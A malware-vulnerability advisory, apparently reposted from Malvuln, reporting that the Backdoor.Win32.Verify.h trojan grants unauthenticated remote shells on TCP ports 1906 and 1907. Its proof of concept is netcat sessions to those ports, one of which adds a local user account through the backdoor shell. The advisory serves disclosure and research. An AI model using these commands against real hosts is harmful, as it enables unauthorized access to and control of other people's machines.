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Backdoor.Win32.Verify.h / Unauthenticated Remote Command Execution

CVE Category Price Severity
N/A CWE-16 N/A High
Author Risk Exploitation Type Date
Unknown High Remote 2022-04-07
CVSS
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022040019

Below is a copy:

Backdoor.Win32.Verify.h / Unauthenticated Remote Command Execution
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/82641dabbb1f73dd775e200466a07ec1.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Verify.h
Vulnerability: Unauthenticated Remote Command Execution 
Description: The malware listens on TCP ports 1906 and 1907. Third-party adversaries who can reach an infected host on either port can gain access and or run any OS command.
Family: Verify
Type: PE32
MD5: 82641dabbb1f73dd775e200466a07ec1
Vuln ID: MVID-2022-0538
Disclosure: 04/06/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 1907
Welcome to pMK_Veryfun v2082 SHELL. Have fun ^.^ !

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

c:\>net user APPARITIONSEC 666 /add
net user APPARITIONSEC 666 /add
The command completed successfully.

c:\>calc
calc

C:\>nc64.exe x.x.x.x 1906
Welcome to pMK_Veryfun v2082, type "help" or "helpv" for more information.
Version [2082] - 4 Apr 2005 - Written by [pMK] - x0x0x0x0x0x0x0 [pTH]
Access granted! My IP is [192.168.18.125|DESKTOP-2C3IQHO]


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